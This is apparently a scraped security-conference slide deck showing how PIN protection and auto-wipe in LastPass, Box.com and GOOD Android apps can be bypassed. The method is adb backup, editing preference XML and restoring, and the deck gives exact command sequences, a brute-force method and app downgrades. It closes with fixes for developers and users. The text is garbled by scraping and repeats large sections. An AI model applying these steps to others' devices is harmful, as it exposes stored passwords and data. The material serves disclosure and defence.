bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 20: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
